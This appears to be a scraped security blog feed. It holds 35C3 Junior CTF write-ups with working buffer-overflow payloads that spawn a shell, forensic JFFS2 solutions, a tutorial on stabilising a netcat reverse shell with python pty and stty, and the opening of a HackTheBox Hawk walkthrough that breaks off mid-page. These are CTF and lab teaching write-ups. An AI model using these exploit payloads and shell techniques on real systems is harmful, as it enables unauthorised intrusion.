id="solution-5">Solution</h3> <p>The objective here is to <strong>overwrite the return address of the main function with the address of the spawn_shell function</strong>.</p> <p>We have to <strong>determine the overflow offset</strong>, either manually or with gdb, then, to <strong>get the address of the spawn shell function</strong>.</p> <p>Overflow offset:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali:~/CTF/2018/35C3-Junior/Pwn/1996<span class="nv">$ </span>python <span class="nt">-c</span> <span class="s1">'print "A"*1048'</span> |./1996 Which environment variable <span class="k">do </span>you want to <span class="nb">read</span>? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <span class="nv">AAAAAAAA</span><span class="o">=</span>Segmentation fault </code></pre></div></div> <p>spawn_shell address:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>objdump <span class="nt">-D</span> ./1996 | <span class="nb">grep </span>spawn 0000000000400897 &lt;_Z11spawn_shellv&gt;: </code></pre></div></div> <p>Now, we can verify our payload on our local machine without forgetting to catch the standard input with <code class="language-plaintext highlighter-rouge">cat</code> to avoid the shell to close itself immediately:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali:~/CTF/2018/35C3-Junior/Pwn/1996<span class="nv">$ </span><span class="o">(</span>python <span class="nt">-c</span> <span class="s1">'print "A"*1048+"\x97\x08\x40\x00\x00\x00\x00\x00"'</span><span class="p">;</span> <span class="nb">cat</span><span class="o">)</span> | ./1996 Which environment variable <span class="k">do </span>you want to <span class="nb">read</span>? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@<span class="o">=</span> <span class="nb">whoami </span>boiteaklou </code></pre></div></div> <p>Working! We can now retrieve the flag.</p> <p><img src="/assets/2018-12-30/1996-flag.png" alt="1996 flag" title="1996 flag" /></p> <h2 id="junior-ctf-pwn---poet">[Junior CTF] Pwn - poet</h2> <blockquote> <p>We are looking for the poet of the year:</p> <p>nc 35.207.132.47 22223</p> <p>Difficulty estimate: very easy</p> </blockquote> <p>We were given this <a href="/assets/2018-12-30/poet" title="poet">ELF 64 executable</a>.</p> <p>A bit of <strong>reverse-engineering</strong> was helpful to understand the functionalities of this program.</p> <ul> <li>The program asks the user to write a poem.</li> <li>It asks a name for the author of the poem.</li> <li>Then, it computes a score to the poem.</li> <li>If we manage to <strong>score 1 000 000 points</strong>, the flag is won.</li> </ul> <p>Observations:</p> <ol> <li>We can score 100 points for each word of the following list inside our poem: [“ESPR”, “eat”, “sleep”, “pwn”, “repeat”, “CTF”, “capture”, “flag”].</li> <li>The buffer allocated to the poem is too small for us to write “pwn” a thousand times.</li> <li>Author and Poem fields are <strong>vulnerable to buffer overflows</strong>.</li> </ol> <p><img src="/assets/2018-12-30/overflow-author.png" alt="Poet author overflow" title="Poet author overflow" /></p> <h3 id="solution-6">Solution</h3> <p>What we want is to <strong>overwrite the local variable storing the score of the poem</strong>. This will be done by overflowing from the author buffer.</p> <blockquote> <p><strong>NOTE:</strong> First, I wanted to overflow from the poem buffer directly. I managed to overwrite the score but it caused a segmentation fault so I supposed I had to do it from the author buffer.</p> </blockquote> <p>Once again, we need to determine the overflow offset and the value we want to write in place of the poem’s score.</p> <p>The value is pretty easy to determine. We want a score of a million which gives in hex:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gdb-peda<span class="nv">$ </span>p/x 1000000 <span class="nv">$3</span> <span class="o">=</span> 0xf4240 </code></pre></div></div> <p>The offset can be found using the following technique:</p> <ul> <li>Prepare a very long pattern to detect when the overflow occurs.</li> <li>Set a breakpoint before the poem’s score is compared to 0xf4240.</li> <li>From our previous reverse-engineering, we know that the poem’s score is stored at <strong>RBX+0x440</strong>.</li> <li>Examine the value at <strong>RBX+0x440</strong> after having submitted the big pattern with gdb.</li> </ul> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python <span class="nt">-c</span> <span class="s1">'print "aaaa\nAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGGHHHHHHHIIIIIIII"'</span> <span class="o">&gt;</span> payload gdb-peda<span class="nv">$ </span>r &lt; payload gdb-peda<span class="nv">$ </span>x/d <span class="nv">$rbx</span>+0x440 0x6024e0 &lt;poem+1088&gt;: 5280832617179597229 gdb-peda<span class="nv">$ </span>x/x <span class="nv">$rbx</span>+0x440 0x6024e0 &lt;poem+1088&gt;: 0x49494949494949ad <span class="c"># Score of our poem</span> gdb-peda<span class="nv">$ </span>p/x <span class="s2">"I"</span> <span class="nv">$5</span> <span class="o">=</span> <span class="o">{</span>0x49, 0x0<span class="o">}</span> </code></pre></div></div> <p>We can see that the score is overwritten with “IIIIIII”.</p> <blockquote> <p><strong>NOTE:</strong> The \n is here to separate the poem and the author fields.</p> </blockquote> <p>From there, we have everything needed to build our payload and to retrieve the flag.</p> <p><img src="/assets/2018-12-30/poet-flag.png" alt="Poet flag" title="Poet flag" /></p> <h2 id="junior-ctf-forensic---rare_mount">[Junior CTF] Forensic - rare_mount</h2> <blockquote> <p>Little or big, we do not care!</p> <p>FS</p> <p>Difficulty estimate: Easy</p> </blockquote> <p>All credit goes to <strong>$in</strong> who solved all of the forensic challenges alone and is the original author of the following writeups. :thumbsup:</p> <p>An <a href="/assets/2018-12-30/rare_mount" title="rare_mount">unknown file</a> was all that was given for this challenge.</p> <p>Running <code class="language-plaintext highlighter-rouge">file</code> on it was our first reflex but it didn’t gave much information:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali:~/CTF/2018/35C3-Junior/For<span class="nv">$ </span>file rare-fs.bin rare-fs.bin: data </code></pre></div></div> <p><code class="language-plaintext highlighter-rouge">binwalk</code>, on the other hand, provided a way more intersting output:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali:~/CTF/2018/35C3-Junior/For<span class="nv">$ </span>binwalk rare-fs.bin DECIMAL HEXADECIMAL DESCRIPTION <span class="nt">--------------------------------------------------------------------------------</span> 0 0x0 JFFS2 filesystem, big endian </code></pre></div></div> <p>After some research, we found <a href="https://github.com/sviehb/jefferson">jefferson</a> which is a <strong>JFFS2 filesystem extraction tool</strong>.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali:~/CTF/2018/35C3-Junior/For/files<span class="nv">$ </span>jefferson rare-fs.bin <span class="nt">-d</span> rare_mount.out dumping fs <span class="c">#1 to /home/boiteaclou/CTF/2018/35C3-Junior/For/files/rare_mount.out/fs_1</span> Jffs2_raw_dirent count: 2 Jffs2_raw_inode count: 2155 Jffs2_raw_summary count: 0 Jffs2_raw_xattr count: 0 Jffs2_raw_xref count: 0 Endianness: Big writing S_ISREG RickRoll_D-oHg5SJYRHA0.mkv writing S_ISREG flag <span class="nt">----------</span> </code></pre></div></div> <p>The tool extracted a RickRoll video as long as the flag!</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali:~/CTF/2018/35C3-Junior/For/files/rare_mount.out/fs_1<span class="nv">$ </span><span class="nb">cat </span>flag 35C3_big_or_little_1_dont_give_a_shizzle </code></pre></div></div> <h2 id="junior-ctf-forensic---epic_mount">[Junior CTF] Forensic - epic_mount</h2> <blockquote> <p>A little bit of stego. Not every header field looks like the other.</p> <p>FS</p> <p>Difficulty estimate: Easy-Medium</p> </blockquote> <p>This second <a href="/assets/2018-12-30/epic_mount" title="epic_mount">file</a> was also in JFFS2 format.</p> <p>Jefferson won’t do all the job this time! It returns the following error: <code class="language-plaintext highlighter-rouge">hdr_crc does not match!</code>.</p> <p>Digging into the code of jefferson, we found the part responsible of this error:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="n">mtd_crc</span><span class="p">(</span><span class="n">data</span><span class="p">[:</span><span class="bp">self</span><span class="o">.</span><span class="n">size</span> <span class="o">-</span> <span class="mi">8</span><span class="p">])</span> <span class="o">==</span> <span class="bp">self</span><span class="o">.</span><span class="n">node_crc</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">node_crc_match</span> <span class="o">=</span> <span class="bp">True</span> <span class="k">else</span><span class="p">:</span> <span class="k">print</span> <span class="s">'hdr_crc does not match!'</span> <span class="bp">self</span><span class="o">.</span><span class="n">node_crc_match</span> <span class="o">=</span> <span class="bp">False</span> </code></pre></div></div> <p>Header CRCs seem to be broken so we added the following two lines to the else clause:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">print</span> <span class="s">'now : '</span> <span class="o">+</span> <span class="nb">hex</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">node_crc</span><span class="p">)</span> <span class="k">print</span> <span class="s">'should be : '</span> <span class="o">+</span> <span class="nb">hex</span><span class="p">(</span><span class="n">mtd_crc</span><span class="p">(</span><span class="n">data</span><span class="p">[:</span><span class="bp">self</span><span class="o">.</span><span class="n">size</span> <span class="o">-</span> <span class="mi">8</span><span class="p">]))</span> </code></pre></div></div> <p>That way, we could manually fix the broken CRCs using an Hex editor. It looked good on the paper but it didn’t gave us the flag…</p> <p>Then, we remembered the challenge statement evocating some stego and we decided to dump the headers for which the CRC was wrong. We did this by adding the following print statement to jefferson’s code:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">print</span> <span class="n">data</span><span class="p">[:</span><span class="bp">self</span><span class="o">.</span><span class="n">size</span><span class="o">-</span><span class="mi">30</span><span class="p">]</span> </code></pre></div></div> <p>From this dump, we can reconstruct the flag by extracting one byte of each line:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali:~/CTF/2018/35C3-Junior/For<span class="nv">$ </span><span class="nb">cat </span>dump_chall2.txt D-0o3<span class="se">\\\</span> <span class="nt">-5</span><span class="se">\\\@</span> D-0C<span class="se">\\\p</span> D-0o 3<span class="se">\\\</span> D-0o_<span class="se">\\\P</span> D-0o<span class="s1">'h\\\P D-0o+i\\\ Bd\\\L D-0ove\\\ D-0o_\\\ D-0om\\\ D-0oe\\\ D-0o_\\\ @ D-0ob\\\ p D-0oa\\\ D-0ob\\\ D-0oy\\\ D-0o_\\\ D-0o\\\ D-0on\\\@ D-0oMe\\\ D-0oN_\\\ D-0o:m\\\P @@vCo\\\Q@ ;.\r\\\U0 D-0oe\\\U D-0o_\\\X jUt\\\Zp D-0oi\\\\0 -Cm\\\] @@ie\\\ </span></code></pre></div></div> <p>Flag: <code class="language-plaintext highlighter-rouge">35C3_hide_me_baby_one_more_time</code></p> <h2 id="junior-ctf-forensic---legendary_mount">[Junior CTF] Forensic - legendary_mount</h2> <blockquote> <p>Something’s horribly broken. :(</p> <p>FS</p> <p>Difficulty estimate: Medium</p> </blockquote> <p>Running <code class="language-plaintext highlighter-rouge">jefferson</code> doesn’t reveal anything apart from the same troll video as for the two previous challenges. The challenge statement suggests that <strong>something is corrupted</strong> so followed this track.</p> <p><code class="language-plaintext highlighter-rouge">strings</code> shows a few interesting strings like “ROFL”, “rofl” and “/secret/flag” so we decided to examine this file with an hex editor.</p> <p><a href="http://www.inf.u-szeged.hu/projectdirs/jffs2/jffs2-anal/jffs2-anal.html">This resource</a> was very helpful for understanding the file structure.</p> <p>Using the hex editor, we can see <strong>a corrupted file</strong> located at the end. With the same technique we used during epic_mount for printing the corrupted bytes, we managed to fix several <strong>hdr_crc</strong>, <strong>node_crc</strong>, <strong>data_crc</strong> and a <strong>zlib header</strong>.</p> <p>The following two screen captures show the before/after with all of our corrections.</p> <p>BEFORE: <img src="/assets/2018-12-30/chall3_original.png" alt="Before" title="Before" /></p> <p>AFTER: <img src="/assets/2018-12-30/chall3_fixed.png" alt="After" title="After" /></p> <p>Then, we ran <code class="language-plaintext highlighter-rouge">jefferson</code> which gave us a file containing the flag!</p> <p>Flag <code class="language-plaintext highlighter-rouge">35C3_mama_what_happend_to_my_honda_CR-C</code></p> <p>Congratulations again to <strong>$in</strong> for theses forensic challenges!</p> <p id="signature">BoiteAKlou :hammer:</p>BoiteAKlouThis weekend was held the 35th Chaos Communication Congress (35C3) as long as its excellent CTF. Hopefully, a Junior CTF was also proposed, which was way more accessible than the main CTF (at least for me :wink:). In this post, you’ll find concise writeups of most of the challenges my team and I solved from both CTFs.Upgrading to a fully interactive reverse shell2018-12-27T09:00:00+00:002018-12-27T09:00:00+00:00/Fully-interactive-reverse-shell<p>Let’s say you’re in the middle of a hacking challenge or pentesting assessment and you finally manage to get a <strong>reverse shell</strong> on your target. This short article will explain you how to obtain <span style="color:Green">a fully interactive version of your reverse shell</span>, that will allow commands like <code class="language-plaintext highlighter-rouge">su</code>, <code class="language-plaintext highlighter-rouge">vi</code>, <code class="language-plaintext highlighter-rouge">nano</code>, <code class="language-plaintext highlighter-rouge">ssh</code>, etc… but also <strong>CTRL+C</strong> and <strong>tab completion</strong>. <!--excerpt--></p> <h2 class="no_toc" id="table-of-contents">Table of Contents</h2> <ul id="markdown-toc"> <li><a href="#spawning-a-pty" id="markdown-toc-spawning-a-pty">Spawning a PTY</a></li> <li><a href="#resizing-and-tab-completion" id="markdown-toc-resizing-and-tab-completion">Resizing and tab completion</a></li> <li><a href="#adding-some-color" id="markdown-toc-adding-some-color">Adding some color</a></li> </ul> <h2 id="spawning-a-pty">Spawning a PTY</h2> <p>It doesn’t matter which way you got your initial reverse shell, it should approximately look like this:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:~<span class="nv">$ </span>nc <span class="nt">-lvnp</span> 9999 listening on <span class="o">[</span>any] 9999 ... connect to <span class="o">[</span>127.0.0.1] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>127.0.0.1] 40610 <span class="nb">id </span><span class="nv">uid</span><span class="o">=</span>1001<span class="o">(</span>www-data<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1001<span class="o">(</span>www-data<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>1001<span class="o">(</span>www-data<span class="o">)</span> </code></pre></div></div> <p>A lot of Unix commands require to be executed from a terminal. But, the classical netcat reverse shell you obtain at first has no TTY associated. If you wish to know a bit more about the internal working of TTYs, I recommend you this great article <a href="http://www.linusakesson.net/programming/tty/">The TTY demystified</a> from Linus Akesson.</p> <p>In order to overcome this difficulty, we will use <strong>python PTY module</strong> and especially the <strong>spawn</strong> function:</p> <blockquote> <p><strong>pty.spawn</strong>(argv[, master_read[, stdin_read]])</p> <p>Spawn a process, and connect its controlling terminal with the current process’s standard io. This is often used to &gt;baffle programs which insist on reading from the controlling terminal.</p> </blockquote> <p>Python is one of the best option because it is almost always installed on the target machine. If by any chance it’s not the case, you can still try python3.</p> <p>The command to execute is the following:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python <span class="nt">-c</span> <span class="s1">'import pty; pty.spawn("/bin/bash");'</span> </code></pre></div></div> <p>It should give the following output:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python <span class="nt">-c</span> <span class="s1">'import pty; pty.spawn("/bin/bash");'</span> www-data@TARGET:~<span class="err">$</span> </code></pre></div></div> <p>Now you can use commands that require to be executed from a terminal.</p> <h2 id="resizing-and-tab-completion">Resizing and tab completion</h2> <p>If by mistake, you run an endless command and hit <strong>CTRL+C</strong>, your reverse shell will disappear as well as your <em>joie de vivre</em>. Also, you could see the output of the <code class="language-plaintext highlighter-rouge">ps</code> command truncated because the size of the reverse shell on the remote machine doesn’t suit the size of your host terminal.</p> <p>These two issues can be solved following this procedure:</p> <ul> <li>Background your reverse shell with <strong>CTRL+Z</strong>.</li> <li>Print the size of your host terminal: <code class="language-plaintext highlighter-rouge">stty -a |cut -d';' -f2-3 | head -n1</code>.</li> <li>Transfer local hotkeys to the remote shell: <code class="language-plaintext highlighter-rouge">stty raw -echo</code>.</li> </ul> <blockquote> <p>If you’re using zsh or another custom shell different from bash, this command may not work properly.</p> </blockquote> <ul> <li>Bring the reverse shell back to foreground: <code class="language-plaintext highlighter-rouge">fg</code>. You may need to hit <strong>ENTER</strong> after this command.</li> <li>Inside the remote shell, adjust the size: <code class="language-plaintext highlighter-rouge">stty rows &lt;ROWS&gt; cols &lt;COLS&gt;</code>.</li> </ul> <p>You should now have an interactive reverse shell with <strong>tab completion</strong>, <strong>signals handling</strong>, <strong>no truncated outputs</strong>.</p> <h2 id="adding-some-color">Adding some color</h2> <p>Now the icing on the cake, let’s add some color!</p> <p>Simply echo the value of $TERM environment variable in your local terminal and set it to the same value in the remote shell:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:~<span class="nv">$ </span><span class="nb">echo</span> <span class="nv">$TERM</span> xterm-256color www-data@TARGET:~<span class="nv">$ </span><span class="nb">export </span><span class="nv">TERM</span><span class="o">=</span>xterm-256color </code></pre></div></div> <p>You need to <code class="language-plaintext highlighter-rouge">reset</code> the shell in order for the changes to take place.</p> <p>You should now feel at home inside your reverse shell! :smile:</p> <p id="signature">BoiteAKlou :hammer:</p>BoiteAKlouLet’s say you’re in the middle of a hacking challenge or pentesting assessment and you finally manage to get a reverse shell on your target. This short article will explain you how to obtain a fully interactive version of your reverse shell, that will allow commands like su, vi, nano, ssh, etc… but also CTRL+C and tab completion.HackTheBox: Hawk writeup2018-12-01T21:00:00+00:002018-12-01T21:00:00+00:00/HackTheBox-Hawk<p>Hawk has been retired from HackTheBox active machines so here is my writeup explaining how I rooted this machine.</p> <p><img src="/assets/2018-12-01/hawk-box.png" alt="Hawk box" title="Hawk Box" /></p> <p>In this article, we will crack a <strong>salted OpenSSL encrypted file</strong>, upload a reverse shell to an instance of <strong>Drupal 7 CMS</strong>. Then, we will use a <strong>SSH port-forwarding</strong> trick to access a <strong>H2 database console</strong> disallowing remote connections and exploit this app to get root on the machine. Enjoy your reading! <!--excerpt--></p> <h2 class="no_toc" id="table-of-contents">Table of Contents</h2> <ul id="markdown-toc"> <li><a href="#initial-foothold-and-user-access" id="markdown-toc-initial-foothold-and-user-access">Initial Foothold And User Access</a> <ul> <li><a href="#recon" id="markdown-toc-recon">Recon</a></li> <li><a href="#ftp-anonymous-login" id="markdown-toc-ftp-anonymous-login">FTP Anonymous Login</a></li> <li><a href="#salted-openssl-decryption" id="markdown-toc-salted-openssl-decryption">Salted OpenSSL Decryption</a></li> <li><a href="#drupal-reverse-shell-upload" id="markdown-toc-drupal-reverse-shell-upload">Drupal Reverse Shell Upload</a></li> <li><a href="#stored-credentials-retrieval" id="markdown-toc-stored-credentials-retrieval">Stored credentials retrieval</a></li> <li><a href="#python-shell-escape" id="markdown-toc-python-shell-escape">Python Shell Escape</a></li> </ul> </li> <li><a href="#elevating-privileges" id="markdown-toc-elevating-privileges">Elevating privileges</a> <ul> <li><a href="#enumeration" id="markdown-toc-enumeration">Enumeration</a></li> <li><a href="#ssh-port-forwarding" id="markdown-toc-ssh-port-forwarding">SSH Port Forwarding</a></li> <li><a href="#h2-database-console" id="markdown-toc-h2-database-console">H2 Database Console</a></li> <li><a href="#getting-a-root-shell" id="markdown-toc-getting-a-root-shell">Getting a Root Shell</a></li> </ul> </li> </ul> <h2 id="initial-foothold-and-user-access">Initial Foothold And User Access</h2> <h3 id="recon">Recon</h3> <p>As with every machine, we only know its <strong>IP address</strong> so we have to start with <strong>the reconnaissance phase</strong>. <code class="language-plaintext highlighter-rouge">nmap</code> is always a weapon of choice for this.</p> <p>Let’s start with <strong>a basic scan using default scripts</strong> (-sC option). We will run a deeper scan if nothing is found.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nmap <span class="nt">-sC</span> <span class="nt">-sV</span> <span class="nt">-vvv</span> <span class="nt">-oA</span> nmap/Hawk 10.10.10.102 <span class="o">[</span>...] PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed <span class="o">(</span>FTP code 230<span class="o">)</span> |_drwxr-xr-x 2 ftp ftp 4096 Jun 16 22:21 messages | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.14.20 | Logged <span class="k">in </span>as ftp | TYPE: ASCII | No session bandwidth limit | Session <span class="nb">timeout </span><span class="k">in </span>seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span> | ssh-hostkey: | 2048 e4:0c:cb:c5:a5:91:78:ea:54:96:af:4d:03:e4:fc:88 <span class="o">(</span>RSA<span class="o">)</span> | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBj1TNZ7AO3WSpSMz0UoHlGmWQRlvXcyMXMRhDJ8X+9kZZGKkdXxWcDAu/OvUXdwCKVY+YjPPY8wi+jqKIQXlgICA3MEcg3RlLoHPTUh6KFmPxlT7Heaca7xSJ+BnhFxYF+bhhiaHgcaK8qlZFc9qS2Un3oNS6VDAAHOx2p4FU8OVM/yuik9qt6nxAQVS/v3mZfpVUm3HKOOcfXzyZEZAwrAWHk+2Y2yCBUUY1AmCMed566BfmeEOYXJU18I92fsSOhuzTt7tqX4u66SO1cyLTJczSA7gF42K8O+VPyn3pWnLmMBnAcZS0KbMUKVPa3UBSScxl5nLlSFRyJ1rCBxs7 | 256 95:cb:f8:c7:35:5e:af:a9:44:8b:17:59:4d:db:5a:df <span class="o">(</span>ECDSA<span class="o">)</span> | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM0hCdwqpZ6zvQpLiZ5/tsUDQeVMEXicRx6H8AOW8lyzsHJrrQWgqM1vo5jKUn+bMazqzZ1SbP8QJ3JDS2/SlHs<span class="o">=</span> | 256 4a:0b:2e:f7:1d:99:bc:c7:d3:0b:91:53:b9:3b:e2:79 <span class="o">(</span>ED25519<span class="o">)</span> |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3kNN27mM1080x8c4aOWptSRg6yN21uBMSQiKk1PrsP 80/tcp open http syn-ack Apache httpd 2.4.29 <span class="o">((</span>Ubuntu<span class="o">))</span> |_http-favicon: Unknown favicon MD5: CF2445DCB53A031C02F9B57E2199BC03 |_http-generator: Drupal 7 <span class="o">(</span>http://drupal.org<span class="o">)</span> | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | http-robots.txt: 36 disallowed entries | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt | /LICENSE.txt /MAINTAINERS.txt /update.php /UPGRADE.txt /xmlrpc.php | /admin/ /comment/reply/ /filter/tips/ /node/add/ /search/ | /user/register/ /user/password/ /user/login/ /user/logout/ /?q<span class="o">=</span>admin/ | /?q<span class="o">=</span>comment/reply/ /?q<span class="o">=</span>filter/tips/ /?q<span class="o">=</span>node/add/ /?q<span class="o">=</span>search/ |_/?q<span class="o">=</span>user/password/ /?q<span class="o">=</span>user/register/ /?q<span class="o">=</span>user/login/ /?q<span class="o">=</span>user/logout/ |_http-server-header: Apache/2.4.29 <span class="o">(</span>Ubuntu<span class="o">)</span> |_http-title: Welcome to 192.168.56.103 | 192.168.56.103 8082/tcp open http syn-ack H2 database http console |_http-favicon: Unknown favicon MD5: 8EAA69F8468C7E0D3DFEF67D5944FF4D | http-methods: |_ Supported Methods: GET POST |_http-title: H2 Console Service Info: OSs: Unix, Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel </code></pre></div></div> <p>Very interesting results! We have an <strong>FTP server allowing anonymous login</strong>, an <strong>SSH server</strong>, an <strong>Apache web server</strong> running <strong>Drupal 7 CMS</strong> and a <strong>H2 database console</strong>. Let’s dig into all of this!</p> <h3 id="ftp-anonymous-login">FTP Anonymous Login</h3> <p>We can connect to the ftp server using the name <em>anonymous</em> without password. While exploring the only available directory, we have found a hidden file named <em>.drupal.txt.enc</em>, that we have downloaded.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ftp 10.10.10.102 Connected to 10.10.10.102. 220 <span class="o">(</span>vsFTPd 3.0.3<span class="o">)</span> Name <span class="o">(</span>10.10.10.102:boiteaklou<span class="o">)</span>: anonymous 230 Login successful. Remote system <span class="nb">type </span>is UNIX. Using binary mode to transfer files. ftp&gt; <span class="nb">ls</span> <span class="nt">-la</span> 200 PORT <span class="nb">command </span>successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 3 ftp ftp 4096 Jun 16 22:14 <span class="nb">.</span> drwxr-xr-x 3 ftp ftp 4096 Jun 16 22:14 .. drwxr-xr-x 2 ftp ftp 4096 Jun 16 22:21 messages 226 Directory send OK. ftp&gt; <span class="nb">cd </span>messages 250 Directory successfully changed. ftp&gt; <span class="nb">ls</span> <span class="nt">-la</span> 200 PORT <span class="nb">command </span>successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 ftp ftp 4096 Jun 16 22:21 <span class="nb">.</span> drwxr-xr-x 3 ftp ftp 4096 Jun 16 22:14 .. <span class="nt">-rw-r--r--</span> 1 ftp ftp 240 Jun 16 22:21 .drupal.txt.enc 226 Directory send OK. ftp&gt; get .drupal.txt.enc <span class="nb">local</span>: .drupal.txt.enc remote: .drupal.txt.enc 200 PORT <span class="nb">command </span>successful. Consider using PASV. 150 Opening BINARY mode data connection <span class="k">for</span> .drupal.txt.enc <span class="o">(</span>240 bytes<span class="o">)</span><span 